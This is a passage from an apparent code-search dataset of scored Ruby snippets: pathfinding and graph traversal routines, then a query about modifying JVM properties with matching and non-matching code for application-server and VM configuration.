"text": "def traverse (from, to, points_visited_so_far = [])\n \n return points_visited_so_far if from.eql?(to)\n\n # Select those adjacent points that that has not been already traversed\n # and that do not represent walls\n possible_steps = adjacent_traversible_points(from).select { |point| \n (not points_visited_so_far.include?(point))\n }\n\n # For each possible step, take that step, and find out the list of points\n # that need to be traversed to reach \"to\" point. In case there were more\n # than one possible steps, pick the one that has smaller number of steps\n # to destination\n points_to_destination_from_here = []\n possible_steps.each do |point|\n traversal_result = traverse(point, to, points_visited_so_far + [point])\n if not traversal_result.empty?\n points_to_destination_from_here = traversal_result if \n (points_to_destination_from_here.empty? or\n traversal_result.size < points_to_destination_from_here.size)\n end\n end\n \n return points_to_destination_from_here\n\n end",
"title": ""
},
{
"docid": "346fcefb1ee87b1c1cda6ac4d68f63a7",
"score": "0.5380098",
"text": "def path_array\n path = []\n yield_path do |x, y|\n path << [x,y]\n end\n path.reverse\n end",
"title": ""
},
{
"docid": "3ae06d2d59a5a4703944b361966f4ff9",
"score": "0.53799397",
"text": "def nearest_driver(coord_from)\n queue = Queue.new\n queue << [coord_from]\n seen = Set.new([coord_from])\n while queue\n begin\n path = queue.pop(non_block = true)\n rescue ThreadError\n return nil\n end\n x, y = path[-1]\n if @map[y][x].instance_of?(Driver) && [x, y] != coord_from\n return { \"coord\" => [x, y], \"route\" => path, \"object\" => @map[y][x] }\n end\n for x2, y2 in [[x + 1, y], [x - 1, y], [x, y + 1], [x, y - 1]]\n if (0 <= x2 && x2 < @map[0].length) && (0 <= y2 && y2 < @map.length) && (@map[y2][x2] != @WALL && @map[y2][x2] != @PERMANENT_WALL) && !seen.include?([x2, y2])\n queue << (path + [[x2, y2]])\n seen.add([x2, y2])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "399b43455668bd55f385c3c1b13cd325",
"score": "0.5368426",
"text": "def find_path(paths = [[@position]])\n if not @path and finished?(paths)\n return @path\n else\n new_paths = []\n change = false\n paths.each do |path|\n possible_positions?(path).each do |position|\n new_paths << path.dup.push(position)\n change = true\n end\n end\n find_path(new_paths) if change\n end\n end",
"title": ""
},
{
"docid": "145e66771ecacb9dc5ce32c9ec227776",
"score": "0.53651065",
"text": "def getPossibleFrom move\n possibleFrom = []\n move.board.pieces[move.piece.colour][move.piece.class.to_s.to_sym].each do |coord, piece|\n possibleFrom << coord\n end\n possibleFrom\n end",
"title": ""
},
{
"docid": "36e96e484d68e5f95f4afff99eae7460",
"score": "0.5361423",
"text": "def path_finder(start_node=START_NODE, goal_node=GOAL_NODE)\n\t\n\t# INITIALIZE\n\tvalid = valid_nodes # largest set\n\treachable = [start_node] # nodes we can reach from current node\n\texplored = [] # nodes we've already considered\n\t# nodes reachable, valid, and not explored\n\topen_nodes = valid.select{|node| reachable.include?(node)}.select{|node| !explored.include?(node)} \n\t# record node path {node => previous_node}\n\tnodes_path = {start_node => nil} \n\t\n\twhile !open_nodes.empty?\n # node = choose_node(reachable)\n\t\tnode = open_nodes.sample # random node in open_nodes\n\t\t\n\t\treturn build_path(goal_node, nodes_path) if node==goal_node # STOP if reached goal! \n \n # Don't repeat ourselves.\n reachable.delete(node) # remove current node from reachable\n explored.push(node) # add node to explored\n \n # What nodes are now open from this node?\n # Adjacent, not in explored, and valid (not an obstacle and in maze)\n new_reachable = (get_adjacent_nodes(node) - explored) & valid\n\t\t# ADD new nodes to reachable\n new_reachable.each do |adj_node|\n if !reachable.include?(adj_node)\n # adjacent.previous = node # Remember how we got there.\n nodes_path[adj_node] = node # {[0,3] => [0,2]}\n reachable << adj_node\n end\n end\n \n\t\t# REFRESH OPEN NODES\n open_nodes = valid.select{|node| reachable.include?(node)}.select{|node| !explored.include?(node)} \n \n end\n \n\treturn nil # open_nodes empty - no path found\nend",
"title": ""
},
{
"docid": "b23ded0a145ef8c85f5ce6d634392366",
"score": "0.53499377",
"text": "def get_walk_path(goalx, goaly)\n current_track_address = hash_address(goalx,goaly)\n path = []\n path_address = []\n go_dir = []\n path.push(current_track_address)\n \n while @nodes_parent_id[current_track_address]\n path.unshift( @nodes_parent_id[current_track_address] )\n go_dir.unshift( @move_dir[current_track_address] )\n \n current_track_address = @nodes_parent_id[current_track_address]\n break if current_track_address == @nodes_parent_id[current_track_address]\n end\n \n path.each do |hash_value|\n _address = dehash_address(hash_value)\n path_address.push( Map_Address.new( _address[0], _address[1]) )\n end\n \n return get_route_command(path_address,go_dir)\n end",
"title": ""
},
{
"docid": "fd8bc3e883513cd63325553b7789ad2d",
"score": "0.5331169",
"text": "def get_allpaths(source, dest, visited, path)\n # mark visited\n visited[source] = 1\n path << source\n\n if source.eql? dest\n @paths << path.dup\n else\n # recurse for all neighboring nodes\n @nnmap[source].each do |n|\n get_allpaths(n, dest, visited, path) if visited[n].eql? 0\n end\n end\n\n path.pop\n visited[source] = 0\n end",
"title": ""
},
{
"docid": "e1fc16a4bb397e85bd93165dd7ff6615",
"score": "0.5317712",
"text": "def inpath(position, direction)\n now = getposition(position)\n path = []\n chessercise = Chessercise.new\n for i in (1..9) do\n if chessercise.send(direction.to_sym, now) == nil\n break\n end\n now = chessercise.send(direction.to_sym, now)\n path.push(now)\n now = getposition(now)\n end\n return path\n end",
"title": ""
},
{
"docid": "f4f53fdbdb11dd24c6c06b63c906a8d4",
"score": "0.52950567",
"text": "def path src, dest\n path = _path srcPaths: [[@nodes[src]]], dest: @nodes[dest]\n if !path.nil?\n path.map(&:value)\n end\n end",
"title": ""
},
{
"docid": "bd17238da664e4625c140691f1684d50",
"score": "0.5267817",
"text": "def all_paths(source, target, graph)\n\n def search(source, target, graph, all_paths)\n return all_paths[source] if all_paths.key?(source)\n return [[target]] if source == target\n source_paths = []\n graph.each_adjacent(source) { |v| source_paths += search(v, target, graph, all_paths) }\n all_paths[source] = source_paths.map { |path| [source] + path }\n end\n\n search(source, target, graph, {})\n end",
"title": ""
},
{
"docid": "3ae13603a75fd239acb02ba435e5c49c",
"score": "0.5255152",
"text": "def find_path(positions, start, finish)\n # Will hold MoveTiles that form a path from start to finish\n path = [finish]\n # Get finish tile first so that we can work backwards in making the path\n chosen = finish\n movetile = chosen\n # Endless loop ZOMG\n while true\n t_x, t_y = movetile.x, movetile.y\n # Generate list of tiles surrounding this tile\n surrounding = []\n surrounding.push(positions[t_x][t_y+1]) if valid?(t_x, t_y+1)\n surrounding.push(positions[t_x][t_y-1]) if valid?(t_x, t_y-1)\n surrounding.push(positions[t_x+1][t_y]) if valid?(t_x+1, t_y)\n surrounding.push(positions[t_x-1][t_y]) if valid?(t_x-1, t_y)\n \n surrounding.compact!\n surrounding.delete(0)\n consider = []\n lowest_cost = 99\n # Evaluate surrounding tiles to find lowest cost\n surrounding.each{|tile|\n # If tile has a total move cost that is at least equal to the current best\n if tile.total_cost <= lowest_cost\n # If even lower, remove previous considerations and set new best\n if tile.total_cost < lowest_cost\n consider.clear\n lowest_cost = tile.total_cost\n end\n # Add this tile to be considered\n consider.push(tile)\n end\n }\n # Choose a tile from list\n chosen = consider[rand(consider.size)]\n # Return path if that last tile was the final one\n return path.reverse! if [chosen.x, chosen.y] == [start.x, start.y]\n # Add chosen tile to path\n path.push(chosen)\n # Evaluate this tile next\n movetile = chosen\n end\n end",
"title": ""
},
{
"docid": "3ae13603a75fd239acb02ba435e5c49c",
"score": "0.5255152",
"text": "def find_path(positions, start, finish)\n # Will hold MoveTiles that form a path from start to finish\n path = [finish]\n # Get finish tile first so that we can work backwards in making the path\n chosen = finish\n movetile = chosen\n # Endless loop ZOMG\n while true\n t_x, t_y = movetile.x, movetile.y\n # Generate list of tiles surrounding this tile\n surrounding = []\n surrounding.push(positions[t_x][t_y+1]) if valid?(t_x, t_y+1)\n surrounding.push(positions[t_x][t_y-1]) if valid?(t_x, t_y-1)\n surrounding.push(positions[t_x+1][t_y]) if valid?(t_x+1, t_y)\n surrounding.push(positions[t_x-1][t_y]) if valid?(t_x-1, t_y)\n \n surrounding.compact!\n surrounding.delete(0)\n consider = []\n lowest_cost = 99\n # Evaluate surrounding tiles to find lowest cost\n surrounding.each{|tile|\n # If tile has a total move cost that is at least equal to the current best\n if tile.total_cost <= lowest_cost\n # If even lower, remove previous considerations and set new best\n if tile.total_cost < lowest_cost\n consider.clear\n lowest_cost = tile.total_cost\n end\n # Add this tile to be considered\n consider.push(tile)\n end\n }\n # Choose a tile from list\n chosen = consider[rand(consider.size)]\n # Return path if that last tile was the final one\n return path.reverse! if [chosen.x, chosen.y] == [start.x, start.y]\n # Add chosen tile to path\n path.push(chosen)\n # Evaluate this tile next\n movetile = chosen\n end\n end",
"title": ""
}
] |
c02b732a06e87d9f29613489e8782ae3 | Helper method for modifying JVM properties | [
{
"docid": "b5f46695ec72d87e8954156fd035b967",
"score": "0.7055062",
"text": "def jvm_property(name,value)\n cmd = <<-END\nAdminTask.setJVMProperties('[-nodeName #{resource[:nodename]} -serverName #{resource[:name]} -#{name} #{value}]')\n END\n cmd\n end",
"title": ""
}
] | [
{
"docid": "ce44a847dc871f3693b94b712af56026",
"score": "0.6490017",
"text": "def set_property(*args)\n return unless alive?\n\n command \"set_property\", *args\n end",
"title": ""
},
{
"docid": "1448b35b0db13a734e4f8445c3ee2d0c",
"score": "0.57991964",
"text": "def set_properties\n @cli.system_call \"gcloud config set compute/zone #{self.compute_zone}\"\n @cli.system_call \"gcloud config set container/cluster #{self.container_cluster}\"\n @cli.system_call \"gcloud config set project #{self.project_id}\"\n end",
"title": ""
},
{
"docid": "9955d997ee53d82635810af07b4fedee",
"score": "0.5692418",
"text": "def zfs_set_properties(fs, properties)\n # There are a handlful of properties which can only be set when the\n # filesystem is created. We do not try to set these values since we\n # cannot change these settings.\n configurable_properties = properties.reject do |setting|\n PROPERTIES_VALID_ONLY_AT_CREATE.include?(setting.keys.first)\n end\n\n configurable_properties.each do |setting|\n next if PROPERTIES_VALID_ONLY_AT_CREATE.include?(setting.keys[0])\n next if zfs_property_already_set?(fs, setting)\n cmd = Mixlib::ShellOut.new('zfs', 'set', \"#{setting.keys[0]}=#{setting[setting.keys[0]]}\", fs)\n cmd.environment['PATH'] = \"/usr/sbin:#{ENV['PATH']}\" if platform_family?('solaris2')\n cmd.run_command\n cmd.error!\n end\nend",
"title": ""
},
{
"docid": "7a71017a99e4a97f716ccfc0516c6935",
"score": "0.56635594",
"text": "def add_property_methods\n UserConfiguration::USER_PROPERTIES.each do |property|\n define_singleton_method(property.name) do\n environment_value = property.map_string(property.environment_names.map{|key| ENV[key]}.compact.first) if property.read_from_environment?\n environment_value.nil? ? fetch(property.name, property.default_value) : environment_value\n end\n end\n end",
"title": ""
},
{
"docid": "06fef503fba4386c43014eaabbe8aed7",
"score": "0.56535065",
"text": "def set_property(key, value)\n end",
"title": ""
},
{
"docid": "6837504fa0a55a2aaa5032efb27948ed",
"score": "0.56254077",
"text": "def set_property(ctx,object,propertyName,value,attributes,exception)\n JS::Lib.JSObjectSetProperty(ctx,object,propertyName,value,attributes,exception)\n end",
"title": ""
},
{
"docid": "adeebc24eb06015e7354a5bc7788c36b",
"score": "0.55969",
"text": "def assign_property(name, value); end",
"title": ""
},
{
"docid": "801f0b296b06b16bf8ccb48f8f614af1",
"score": "0.55152106",
"text": "def modify_properties(properties_element)\n end",
"title": ""
},
{
"docid": "09d8019c1b8ba12305f4c225d4217581",
"score": "0.5500367",
"text": "def jvm_options(arg = nil)\n set_or_return(:jvm_options, arg, kind_of: String)\n end",
"title": ""
},
{
"docid": "4ccd016dbab91519e7e56f7136e5d122",
"score": "0.5475819",
"text": "def set_properties(path, ctype, props)\n # FIXME: if sync == startup, add to @repo_properties[:startup_sync]\n add_metadata(path, ctype, props, :properties)\n notify(EVENT_PROPS, path, ctype)\n end",
"title": ""
},
{
"docid": "bb99454b56b23112504803892171c9c3",
"score": "0.5473174",
"text": "def add_jvm_args\n\n # Load the app bundled configurations and re-configure as needed the JVM parameters for the Server VM\n log(\"JVM config passed via droplet java_opts : #{@droplet.java_opts}\")\n\n JavaBuildpack::Container::Wls::JvmArgHelper.update(@droplet.java_opts)\n JavaBuildpack::Container::Wls::JvmArgHelper.add_wlx_server_mode(@droplet.java_opts, @start_in_wlx_mode)\n log(\"Consolidated Java Options for Server: #{@droplet.java_opts.join(' ')}\")\n\n wls_pre_classpath = \"export PRE_CLASSPATH='#{@domain_home}/#{WLS_PRE_JARS_CACHE_DIR}/*'\"\n wls_post_classpath = \"export POST_CLASSPATH='#{@domain_home}/#{WLS_POST_JARS_CACHE_DIR}/*'\"\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'a') do |f|\n\n f.puts '# 3. Add JVM Arguments by editing the startWebLogic.sh script '\n f.puts '# Export User defined memory, jvm settings, pre/post classpaths inside the startWebLogic.sh '\n f.puts '# Need to use \\\\\" with sed to expand the environment variables '\n f.puts \"sed -i.bak \\\"s#^DOMAIN_HOME#\\\\n#{wls_pre_classpath}\\\\n#{wls_post_classpath}\\\\n\\\" #{@domain_home}/startWebLogic.sh\"\n f.puts \"sed -i.bak \\\"s#^DOMAIN_HOME#export USER_MEM_ARGS='${APP_ID_ARGS} #{@droplet.java_opts.join(' ')} '\\\\n\\\" #{@domain_home}/startWebLogic.sh \"\n f.puts ' '\n end\n end",
"title": ""
},
{
"docid": "5da93e6a081745cb35efcb6a8da8addc",
"score": "0.54586434",
"text": "def set_app_properties(properties)\n properties = properties.respond_to?(:to_json) ? properties.to_json : properties\n (@session.post 'facebook.admin.setAppProperties', :properties => properties) == '1'\n end",
"title": ""
},
{
"docid": "4301ef7ea7d623edb842c80cb7939215",
"score": "0.5457771",
"text": "def java_args=(args)\n Buildr.application.deprecated \"Use ENV['JAVA_OPTS'] instead\"\n ENV['JAVA_OPTS'] = Array(args).join(' ')\n end",
"title": ""
},
{
"docid": "6120b4a975d25423d80004451ff67204",
"score": "0.545485",
"text": "def intersys_set(property, value)\n intersys_property(property).set(value)\n end",
"title": ""
},
{
"docid": "01d4a97b52eda7bc2a29cb1553f2d0ea",
"score": "0.54548126",
"text": "def set_system_setting\n @system_setting = System.settings\n end",
"title": ""
},
{
"docid": "1c1938a64d747b10197eac88c34f1960",
"score": "0.54499835",
"text": "def set_app_properties(properties)\n properties.respond_to?(:to_json) ? properties.to_json : properties\n (@session.post 'facebook.admin.setAppProperties', :properties => properties) == '1'\n end",
"title": ""
},
{
"docid": "c894a29aa70df7f28d26ead62681fa77",
"score": "0.5414866",
"text": "def set(params)\n params.each do |param, value|\n @property_hash[param.intern] = value\n end\n end",
"title": ""
},
{
"docid": "c70e9e137c36b74ad5faada675f536a8",
"score": "0.539826",
"text": "def change_plugin_prop(prop, value)\n cmd = <<-END\nobj = AdminConfig.list(\"WebserverPluginSettings\", AdminConfig.getid(\"/Node:#{resource[:nodename]}/Server:#{resource[:name]}/\"))\nAdminConfig.modify(obj, '[[ #{prop} \"#{value}\" ]]')\n END\n cmd\n end",
"title": ""
},
{
"docid": "add4688ed1228599acf9c1b399177a76",
"score": "0.53461736",
"text": "def process_properties(properties); end",
"title": ""
},
{
"docid": "f491d8bf506f4b5b24b9f77b1f648994",
"score": "0.5331556",
"text": "def set_version\n if @properties\n @properties.each{|p| p.extend(version_module)}\n else\n @property.extend(version_module)\n end\n end",
"title": ""
},
{
"docid": "86c2a4f3901519b7a4e87a880fb8c88e",
"score": "0.5318047",
"text": "def set k,v=nil,&b\n\t if !v and b\n\t v = b\n\t end\n\t JS::Object.get(\"Ruby.JsObj.set_property\").call(@object,k,v)\n\t end",
"title": ""
},
{
"docid": "10308a475394c10b10ab6a2b9fa8f907",
"score": "0.52184683",
"text": "def change_process_execution( prop, value)\n cmd = <<-END\nobj = AdminConfig.list(\"ProcessExecution\", AdminConfig.getid(\"/Node:#{resource[:nodename]}/Server:#{resource[:name]}/\"))\nAdminConfig.modify( obj, '[[#{prop} \"#{value}\"]]')\n END\n cmd\n end",
"title": ""
},
{
"docid": "453da6bb915596261c5b82f2d17cabf8",
"score": "0.51873296",
"text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "17a652f11231fcb8da6a2cd3db87f452",
"score": "0.5181971",
"text": "def use_jndi_properties(jndi_properties = {})\n configuration.jndi_properties = jndi_properties\n end",
"title": ""
},
{
"docid": "b455f9b1b3942a86123cec60a4ded97e",
"score": "0.5173547",
"text": "def add_standard_properties\n add_standard_property('run.start_date_time', DateTime.now.strftime(DateTimeFormat::SORTABLE_TIMESTAMP))\n add_standard_property('run.platform', ruby_platform)\n end",
"title": ""
},
{
"docid": "f68fc29246b76576bb0ed3d5238a4b22",
"score": "0.5166434",
"text": "def property(property_name, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f68fc29246b76576bb0ed3d5238a4b22",
"score": "0.5166434",
"text": "def property(property_name, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "c7570ba70f2b5e8389f067d62e40cc37",
"score": "0.51586103",
"text": "def set_property_values_from_script(results)\n reg_flag = /\\$\\$SS_Set_.+\\}\\$\\$/\n reg = /\\$\\$SS_Set_Property.+\\$\\$/\n #msg = \"SS__ Updating property values from script.\\n\"\n occurrences = results.scan(reg_flag)\n return if occurrences.empty?\n props = Hash.new\n set_props = Hash.new\n occurrences.each do |set_str|\n prop = set_str.gsub(\"$$SS_Set_Property{\", \"\").gsub(\"}$$\", \"\")\n keyval = prop.split(\"=>\")\n props[keyval[0].strip] = keyval[1].strip\n end\n cur_props = current_property_values\n props.each do |k, v|\n if cur_props.has_key?(k)\n id = installed_component.properties.active.find_by_name(k).id\n msg += \"SS__ Updating property #{k}(#{id.to_s}: change value from: #{cur_props[k]} to #{v.to_s}\"\n set_props[id.to_s] = v.to_s # Add back as the id\n else\n msg += \"\\nSS__ Property not found: #{k}\\n\"\n end\n end\n #logger.info(msg)\n new_values = {\"installed_component\" => {installed_component.id.to_s => set_props}}\n update_property_values!(new_values)\n end",
"title": ""
},
{
"docid": "5eeb1d2cb23dbc821560d44f2166dc31",
"score": "0.51367474",
"text": "def update!(**args)\n @linux_exec_step_config = args[:linux_exec_step_config] if args.key?(:linux_exec_step_config)\n @windows_exec_step_config = args[:windows_exec_step_config] if args.key?(:windows_exec_step_config)\n end",
"title": ""
},
{
"docid": "86ff97cc222b987bff78c1152a1c8ee1",
"score": "0.51245505",
"text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"title": ""
},
{
"docid": "ff432a9cfa58ad208a41f7f30b7f4437",
"score": "0.510725",
"text": "def add_standard_properties\n super\n\n @config_manager.add_override_property('run.config_name', self.class.basename)\n end",
"title": ""
},
{
"docid": "95ff9d8f32b1ca42f0734459d096ebb2",
"score": "0.5093086",
"text": "def set_config(env, override_configurations = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "00c1de092d806e7cd430d13204ab23c6",
"score": "0.5079825",
"text": "def set_properties(params)\n # Ignore if no args were passed.\n return -1 if params.empty?\n\n # List of valid input parameters.\n valid = {\n title: 1,\n subject: 1,\n author: 1,\n keywords: 1,\n comments: 1,\n last_author: 1,\n created: 1,\n category: 1,\n manager: 1,\n company: 1,\n status: 1,\n hyperlink_base: 1\n }\n\n # Check for valid input parameters.\n params.each_key do |key|\n return -1 unless valid.has_key?(key)\n end\n\n # Set the creation time unless specified by the user.\n params[:created] = @createtime unless params.has_key?(:created)\n\n @doc_properties = params.dup\n end",
"title": ""
},
{
"docid": "484b180648f5eb68f45bc286f647912d",
"score": "0.50775874",
"text": "def set_default_properties\n @properties = {\n :InstanceType => \"t2.micro\",\n :ImageId => \"ami-d05e75b8\"\n }\n end",
"title": ""
},
{
"docid": "0301fef020d3816c688c8df9fad6285b",
"score": "0.5071691",
"text": "def expected_local_properties\n {\n 'enabled' => 'true',\n 'async-replication' => 'true',\n 'availability-enabled' => 'true',\n 'directory-deployed' => 'true',\n 'context-root' => '/myapp',\n 'location' => \"file:#{self.location_as_dir}/\",\n 'property.defaultAppName' => 'myapp',\n 'property.archiveType' => 'war',\n 'property.appLocation' => \"file:#{self.location_as_dir}/\",\n 'property.java-web-start-enabled' => 'false',\n 'deployment-order' => '100'\n }\n end",
"title": ""
},
{
"docid": "d405a93d167d94254907e19866197e36",
"score": "0.50681424",
"text": "def extension_properties=(value)\n @extension_properties = value\n end",
"title": ""
},
{
"docid": "3ec51b255b6490c305bed2cc8d235b67",
"score": "0.5057435",
"text": "def set_setting\n end",
"title": ""
},
{
"docid": "92aa9406568171a998a302878a0667eb",
"score": "0.50456125",
"text": "def set_property(name, value)\n # let Resource handle DAV properties\n if name[:ns_href] == DAV_NAMESPACE\n super\n else\n set_custom_props name, value\n end\n end",
"title": ""
},
{
"docid": "cb297cfd7d3b9f00d68ed59c12d71b42",
"score": "0.5041804",
"text": "def config=(env, override_configurations = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "50ac6c7481bc4044b2356cd46249474d",
"score": "0.5026467",
"text": "def update!\n @defaults.each do |key, value|\n instance_variable_set(key, value) unless instance_variable_defined?(key)\n end\n end",
"title": ""
},
{
"docid": "f1312d866e06657e9e67ae2e0efe1d4d",
"score": "0.50234556",
"text": "def set_instance_variables opts\n opts.each do |k,v|\n begin\n instance_variable_set \"@#{k}\", v\n\n # Sets the accessor for the property as well\n eigenclass = class<<self; self; end\n eigenclass.class_eval do\n attr_accessor k\n end\n rescue NameError => e\n # We'll just eat the error for now\n end\n end\n end",
"title": ""
},
{
"docid": "260cd46c4c18dbe243ae0c132f98945d",
"score": "0.50228167",
"text": "def customize_vm(v)\n mem = `grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i / 1024 / 8\n cpus = 4\n v.customize [\"modifyvm\", :id, \"--memory\", mem]\n v.customize [\"modifyvm\", :id, \"--cpus\", cpus]\nend",
"title": ""
},
{
"docid": "25391b3305480b191043bde168793741",
"score": "0.50193715",
"text": "def set_userstamp_properties\n return unless Object.const_defined?(:User)\n self.class.properties.values_at(*USERSTAMP_PROPERTIES.keys).compact.each do |property|\n USERSTAMP_PROPERTIES[property.name][self]\n end\n end",
"title": ""
},
{
"docid": "b8024b7bf52e01be7200e133246ba94f",
"score": "0.50076485",
"text": "def set_property(name, value)\n $NEO_LOGGER.debug{\"set property '#{name}'='#{value}'\"} \n old_value = get_property(name)\n\n if value.nil?\n remove_property(name)\n elsif self.class.marshal?(name)\n @internal_node.set_property(name, Marshal.dump(value).to_java_bytes)\n else\n @internal_node.set_property(name, value)\n end\n\n if (name != 'classname') # do not want events on internal properties\n event = PropertyChangedEvent.new(self, name.to_sym, old_value, value)\n self.class.fire_event(event)\n end\n end",
"title": ""
},
{
"docid": "8c8324a999c44981ec0d7d2428afb182",
"score": "0.50031865",
"text": "def update_setEnv_scripts\n Puppet.alert(\" begin : update_setEnv_scripts \")\n file_name = get_value4key(\"ps_config_home\", resource[:web_location_attrib]) + \"/webserv/\"\n file_name += get_value4key(\"webdomainname\", resource[:webdomain_attrib]) + \"/bin/setEnv.sh\"\n\n Puppet.debug(\" update_setEnv_scripts : #{file_name} \")\n\n text = File.read(file_name)\n Puppet.debug(\" update_setEnv_scripts 1 : #{file_name} \")\n httpsport = get_value4key(\"webadminserverhttps\", resource[:webadmin_server_attrib] )\n\n Puppet.debug(\" update_setEnv_scripts 1A : #{httpsport} \")\n ##new_contents = text.gsub(/443/, get_value4key(\"webadminserverhttps\", resource[:webadmin_server_attrib] ) )\n\n Puppet.debug(\" update_setEnv_scripts 2 : #{file_name} \")\n new_contents1 = text.gsub(/9999/, get_value4key(\"webadminserverhttp\", resource[:webadmin_server_attrib] ) )\n\n Puppet.debug(\" update_setEnv_scripts 3 : #{file_name} \")\n jvm_small_size1= \"-Xms2048m\"\n jvm_max_size2= \"-Xmx2048m\"\n jvm_small_size2= \"-Xms1024m\"\n jvm_max_size2= \"-Xmx1024m\"\n\n ####new_contents = new_contents1.gsub(/-Xms256m/, jvm_max_size )\n ####new_contents1 = new_contents.gsub(/-Xmx256m/, jvm_max_size )\n\n\n new_contents = new_contents1.gsub(\"-server -Xms512m -Xmx512m\", \"-server -Xms2048m -Xmx2048m\" )\n new_contents1 = new_contents.gsub(\"-server -Xms256m -Xmx256m\", \"-server -Xms1024m -Xmx1024m\" )\n\n Puppet.debug(\" update_setEnv_scripts updating ADMINSERVER_HOSTNAME : #{file_name} \")\n oldstr=\"ADMINSERVER_HOSTNAME=\" + get_value4key(\"appserverhost\", resource[:webdomain_attrib])\n newstr=\"ADMINSERVER_HOSTNAME=\" + get_value4key(\"webadminserverhost\", resource[:webadmin_server_attrib] )\n\n new_contents2 = new_contents1.gsub(oldstr, newstr )\n\n\n new_contents = new_contents2.gsub(/-XX:MaxPermSize=128m/, \"-XX:MaxPermSize=256m\" )\n File.open(file_name, \"w\") {|file| file.puts new_contents }\n Puppet.alert(\" end : update_setEnv_scripts \")\n end",
"title": ""
},
{
"docid": "dd7b3fe5ed8ba2987b5ab9f92c83e01b",
"score": "0.49999118",
"text": "def test_Enviroment_007_SetEnv\r\n\r\n puts2(\"\")\r\n puts2(\"#######################\")\r\n puts2(\"Testcase: test_Enviroment_007_SetEnv\")\r\n puts2(\"#######################\")\r\n\r\n sEnvVarName = \"COMPUTERNAME\" # Is this one platform independent?\r\n sNewValue = \"MyNewName\"\r\n\r\n # Display the current value\r\n puts2(\"Current value of \" + sEnvVarName)\r\n printenv(sEnvVarName)\r\n\r\n puts2(\" Setting \" + sEnvVarName + \" to \" + sNewValue)\r\n\r\n # Set new value that will be in effect for duration of this Ruby session's test run\r\n setenv(sEnvVarName, sNewValue)\r\n\r\n # Display the current value\r\n puts2(\"Current value of \" + sEnvVarName)\r\n printenv(sEnvVarName)\r\n\r\n\r\n sNewEnvVarName = \"Ruby\"\r\n sNewSetting = \"Is Cool\"\r\n puts2(\" Setting a new Environment Variable \" + sNewEnvVarName + \" to a new setting \" + sNewSetting)\r\n\r\n # Set new value that will be in effect for duration of this Ruby session's test run\r\n setenv(sNewEnvVarName, sNewSetting)\r\n\r\n # Display the current value\r\n puts2(\"Current value of \" + sNewEnvVarName)\r\n printenv(sNewEnvVarName)\r\n\r\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.49973226",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.49973226",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.49973226",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.49973226",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.49973226",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "ed8f8185e18077457e6630af8aedb673",
"score": "0.49958584",
"text": "def []=(key, val)\n @properties[key] = val\n end",
"title": ""
},
{
"docid": "44756fd86dd095556580199f7e78936f",
"score": "0.49918312",
"text": "def modified_properties=(value)\n @modified_properties = value\n end",
"title": ""
},
{
"docid": "d7bc38e504edf4a2009166d655b568f1",
"score": "0.49876365",
"text": "def []=(key, value)\n if @_new_props\n @_new_props[key] = value\n else\n super\n end\n end",
"title": ""
},
{
"docid": "02b2edc07686358450c35083be787e2c",
"score": "0.4974034",
"text": "def configure_settings\n @env = deep_merge(env.dup, configuration[:env]) if configuration[:env]\n @vm = vm.merge(configuration[:vm]) if configuration[:vm]\n end",
"title": ""
},
{
"docid": "4b3317eba8b745412a1441550d2a77e8",
"score": "0.4972041",
"text": "def set_property(propertyName,value,attributes = nil,exception = nil)\n propertyName = JS::String.create_with_utf8cstring(propertyName)\n value = JS::Value.from_ruby(context,value)\n res = super(context,self,propertyName,value,attributes,exception)\n return res\n end",
"title": ""
},
{
"docid": "12ffc91630246ff21964df676f01d2ae",
"score": "0.49678674",
"text": "def prop(name, value, recurse = false)\n @ctx.propset(name, SvnFixture.svn_prop(value), @clean_path, recurse)\n end",
"title": ""
},
{
"docid": "bb4c2f6b68a31042efe929da18addaed",
"score": "0.49622083",
"text": "def change_parallels_vm_mem(options)\n message = \"Information:\\tSetting Parallels VM \"+options['name']+\" RAM to \"+options['memory']\n command = \"prlctl set #{options['name']} --memsize #{options['memory']}\"\n execute_command(options,message,command)\n return\nend",
"title": ""
},
{
"docid": "61a08468041419fd5071d5ab780db6c7",
"score": "0.49600092",
"text": "def configure_js_parallels_vm(options)\n options['os-type'] = \"solaris-10\"\n configure_parallels_vm(options)\n return\nend",
"title": ""
},
{
"docid": "6cac4e3f7fb5d763e7ff025267ed644d",
"score": "0.49475604",
"text": "def set_property( name, value )\n ( @properties ||= Hash.new )[ name ] = value\n end",
"title": ""
},
{
"docid": "8274867d779dbfb860abb39edc2bef5d",
"score": "0.49371475",
"text": "def property_options(clusterable)\n if @property_options.nil?\n @property_options = []\n\n properties_map.each_pair do |name, value|\n if threadgroups_threads_count_properties.include?(name)\n value = value.to_f / clusterable.required_load_agent_count(self)\n value = if value < 1\n 1\n else\n value.round(0)\n end\n end\n @property_options.push(\"-J\\\"#{name}=#{value}\\\"\")\n end\n end\n\n @property_options\n end",
"title": ""
},
{
"docid": "67ab27c34e96d815db84bd4a08fbaaf1",
"score": "0.49213228",
"text": "def override_environment_setting(node, name, value)\n node.override_environment_setting(name, value)\n @dirty_environment_settings = true\n end",
"title": ""
},
{
"docid": "3948279dd8e5475ca0282ec444df8aa2",
"score": "0.4913858",
